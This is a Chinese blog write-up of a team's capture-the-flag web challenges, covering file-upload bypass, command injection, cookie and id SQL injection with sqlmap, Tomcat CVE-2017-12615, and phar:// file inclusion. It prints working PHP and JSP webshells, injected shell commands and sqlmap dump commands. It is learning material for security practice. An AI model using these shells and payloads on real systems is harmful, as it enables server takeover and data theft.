0X00前言

以组队形式参加的赛事,一个月前找到了三位好友组团参赛(都是小白啦,包括我)
记录一下赛题~

0X01赛题

一、签到 —— 文件上传js绕过

Upload-labs上的第一题
首先,先上传一个正常.txt或.jpg文件测试是否能够正常上传,结果是可以正常上传。然后,再上传一个已经写好一句话木马的php文件,上传的php文件内容为:<?php eval($_POST['cmd']);?>
此时,有弹窗提示文件类型限制,上传失败。
根据经验,我们开始排查漏洞,先查看网页源代码,在代码尾发现上传文件的类型限制是由前端JavaScript完成。那么只需要在浏览器上禁用前端JavaScript即可。
网页源代码:

禁用之后我们再次上传,此时脚本上传成功。上传成功之后会返回路径,我们可以用菜刀连接shell。在菜刀中添加,输入脚本文件的路径,输入密码cmd,连接成功。
查看网站目录,在www目录下发现key文件,打开即是flag。

二、命令执行基础

DVWA命令执行原题
页面是一个输入IP地址返回ping结果的界面。首先,我们先输入一个IP地址查看返回结果。

如上,发现返回结果是命令行里的直接输出!此时,根据命令执行的基础知识,使用&连接我们执行的命令,例如,输入192.168.44.132&ls -l,尝试命令执行漏洞,结果如下,查询目录成功,接下来遍历目录:
使用命令1&ls …访问上一层目录,此处发现key.php文件:

读取此文件,命令:1 & cat …/key.php,得到flag

三、你能爆破吗——cookie注入

根据题意,使用burp suite爆破。(事先可以使用弱口令登录)
我们先抓包到burp suite,将一下部分发送到intruder进行爆破。
添加爆破的payload admin和pass两个,爆破方式选择Cluster bomb。使用我们自己有的常用用户名和密码字典,分别对用户名和密码爆破。
完整过程比较漫长,但是好在用户名密码比较常见,通过length判断,都是admin,admin 。

我们回到原来页面输出用户密码,返回如下:

刷新界面抓包,抓到的POST包里存在cookie参数,并且发现cookie是经过base64加密的,结合题目提示,尝试对其进行爆破。
将抓到的包保存为txt文件,使用sqlmap工具对cookie参数进行爆破,-p指定参数,–tamper指定脚本,–level指定等级,-dbs爆数据库,代码如下:

python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 –dbs

发现确实存在注入点,拿到数据库:

排除其他数据库,我们要的应该是security,爆表:

python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security --tables
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag --columns
python sqlmap.py -r 1.txt -p uname --tamper base64encode.py --level 2 -D security -T flag -C flag --dump

读取出来的flag

四、成绩单

听说又是以前一个赛事的原题
按照界面预输出,我们输入1,2,3,输出回显三个数和一个名字。非常熟悉的sql注入界面了,我们开始在burp suite抓包。
POST包传递id参数:

遇上题类似,我们保存抓包数据到txt文件,使用sqlmap爆破。使用命令爆数据库:

python sqlmap.py -r 2.txt -p id --level 2 --dbs
python sqlmap.py -r 2.txt -p id --level 2 -D web1 --tables
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g --columns
python sqlmap.py -r 2.txt -p id --level 2 -D web1 -T fl4g -C flag --dump

成功拿到flag

五、小猫咪踩灯泡

Tomcat(CVE-2017-12615)
payload:测试任意文件上传
利用burpsuite 进行抓包。发送到repeater,修改GET请求为PUT,修改名字shell.jsp,下面添加jsp的shell

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}returnline.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

访问文件,发现上传成功:

执行远程命令,?&pwd=023&cmd=ls

最后执行获取flag命令:?&pwd=023&cmd=cat flag.txt 拿到flag

六、文件上传

经过不断fuzz得出以下过滤

黑名单后缀 + content-type检测 + 内容头部检测 + 内容大小检测
内容敏感字符过滤(可双写绕过)

七、文件包含getshell —— phar://

upload页面只可以上传txt后缀文件

查看lfi.txt,发现可以文件包含

准备一个zip文件,里面是1.php,具体如下,并且重命名为1.txt,然后上传

通过phar://伪协议执行命令
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=phpinfo();
(一般情况下) lif.php?file=phar://files/s2afSfGk37Bder1.txt/1.php&1=phpinfo();
通过zip://伪协议执行命令
lif.php?file=zip://files/s2afSfGk37Bder1.txt#1&1=phpinfo();

拿flag
lif.php?file=phar://files/s2afSfGk37Bder1.txt/1&1=system(‘cat flag.php’);

八、分析代码

是不是联想到7字符或者5字符的文件写入(但是好像我试着不行)

有个猥琐的思路:用cat命令读上一级目录的key
先写入cat文件
.com/?1=>cat
然后看到key是在上层目录
.com/?1=ls …/
然后直接使用cat来读取 * …/*
输入通配符* ,Linux会把第一个列出的cat文件名当作命令,剩下的文件名当作参数。相当于cat …/* 后面的*相当于读取了该目录下所有文件

GOT IT!
收获还是有的。学到了奇葩姿势让自己也猥琐起来

******************************************************

腾讯T-Star高校挑战赛相关推荐

  1. 第十八届全国大学生智能汽车竞赛 讯飞-智慧农业挑战赛 全国选拔赛规则

    第十八届全国大学生智能汽车竞赛 讯飞-智慧农业挑战赛 全国选拔赛规则 1. 赛项简介 1.1 赛事背景   伴随着人工智能技术的不断发展与进步,如何让相关技术再有新的突破,从当前的局部智能,迈向更先进 ...

  2. 用AI创造可持续发展社会价值,第二届腾讯Light·公益创新挑战赛正式启动

    12月23日,"创变者"2021年度腾讯Light论坛在厦门正式举办.在论坛上,由全国妇联宣传部指导,腾讯公司联合中国儿童中心主办,企鹅伴成长.腾讯华东总部.腾讯SSV创新办学实验 ...

  3. 用AI打造科技公益新模式,腾讯发起公益创新挑战赛,聚焦三大社会问题

    近日,由腾讯基金会.企鹅伴成长.腾讯优图实验室.腾讯云AI.腾讯云开发联合发起的腾讯Light·公益创新挑战赛在三亚宣布正式启动.本次比赛以"AI,让美好现在发生"为主题,与联合国 ...

  4. 腾讯Light·公益创新挑战赛获奖名单揭晓!看“创意+公益+科技”融合的力量

    近年来,随着人工智能.云计算和大数据等数字技术的发展,人工智能与公益跨界融合,科技公益展现出越来越大的社会价值.去年12月30日,腾讯公益慈善基金会.企鹅伴成长.腾讯优图.腾讯云AI.腾讯云云开发联合 ...

  5. 腾讯Light·公益创新挑战赛圆满收官,郎朗担任公益传播大使

    5月8日,腾讯公益慈善基金会.企鹅伴成长.腾讯优图实验室.腾讯云AI.腾讯云云开发联合发起的腾讯Light·公益创新挑战赛圆满收官.联合国儿童基金会驻华办公室儿童保护官员苏文颖,深圳市信息无障碍研究会 ...

  6. 【专访】首届腾讯社交广告“高校算法大赛”落幕 冠亚季军团队参赛心得精彩分享

    导言: 7月6日,首届腾讯社交广告"高校算法大赛"正式落幕.在众多参赛团队中,来自南京大学的三人组合"nju_newbie"一举夺得决赛冠军,将30万元奖金收入 ...

  7. 【采访】腾讯社交广告高校算法大赛决赛第二周最大进步队伍——拔萝卜比赛经验及心得分享

    腾讯社交广告高校算法大赛决赛第二周 进步最大的一支队伍 她的名字叫拔萝卜 这是一支单人队伍 而且还是少有的女孩子哦 可爱.乖巧.独立的小女孩 祝贺你 话不多说直接上照片 小编对咱们的周进步冠军同学进行 ...

  8. 【采访】腾讯社交广告高校算法大赛决赛第一周最大进步队伍——SkullGreymon比赛经验及心得分享

    这是腾讯社交广告高校算法大赛进入决赛阶段 进步最大的一支队伍 他们的名字叫SkullGreymon 他们低调到照片都不放 小编也不知道怎么介绍 只知道队长同我一样喜欢哆啦A梦 那应该是个有童真爱想象的 ...

  9. 【采访】腾讯社交广告高校算法大赛 决赛第一周周冠军——ThreeIdiots比赛经验及心得分享 腾讯广告算法大赛

    这是腾讯社交广告高校算法大赛进入决赛阶段 产生的第一个周冠军 他们的名字叫ThreeIdiots 据说ThreeIdiots是谜一般的存在 大家都在猜他们到底是何方神圣 忍不住先提前透露一下关键词 低 ...

  10. 【采访】腾讯社交广告高校算法大赛决赛第二周周冠军——nju_newbiew比赛经验及心得分享

    腾讯社交广告高校算法大赛决赛 第二周周冠军 他们的名字叫nju_newbiew 进入决赛之后他们的成绩是火速提升 直到稳定在第一名 这又是一支谜一般的队伍 今天小编就来给大家揭开神秘大佬的面纱 三个偶 ...

最新文章

  1. 判断文件或文件夹(目录)是否存在 C/C++ win/linux通用
  2. 将一个数组划分为和差值最小的子数组
  3. C#调用SQL Server分页存储过程
  4. [译]Hour 7 Teach.Yourself.WPF.in.24.Hours
  5. 计算机控制与网络,网络与通信技术在计算机控制的作用
  6. python 列表 remove()函数使用详解
  7. 说说PMO 的工作思路
  8. android 标签分页,Android之ActivityGroup实现Tab分页标签
  9. 基于stm32的两轮自平衡小车2(原理篇)
  10. python识别图片、PDF识别成文字、表格(包含去除水印) 代码不是最新,可在最下面Gitee地址查看最新代码
  11. 电脑本地进行演讲者模式预览快捷键
  12. 网络安全课第九节 网络安全攻防实战
  13. Caffe中求解器(Solver)介绍
  14. 前端页面img标签图片显示发生错误或者没有图片都显示默认的图片
  15. 全球及中国装配式建筑行业深度研究与发展模式咨询报告2022版
  16. 微信小程序文本输入<textarea/> 详解
  17. 驱动人生给出关于代码19导致驱动安装失败的解决方案
  18. 【毕业课程设计】基于PLC的立体仓库控制系统设计
  19. 水墨简静态PPT模板
  20. 静态初始化器java

热门文章

  1. jQuery悬浮QQ客服插件
  2. 2022-03-25 Python作业3
  3. Domino多瑙河EAP3以及Nomad Web 1.0.5
  4. Java项目:电影院售票管理系统(java+Servlet+JSP+JDBC+Mysql)
  5. 283页K8S实战指南,内容详实,代码齐全可复制!
  6. API管理神器:Apifox
  7. 视频火焰烟雾光线闪电科技粒子破碎特效PR标题模板
  8. 用mg格式制作产品动画有什么优势?
  9. 二进制整数奇偶互换c语言,奇偶
  10. 在QPixmap的图片上添加文字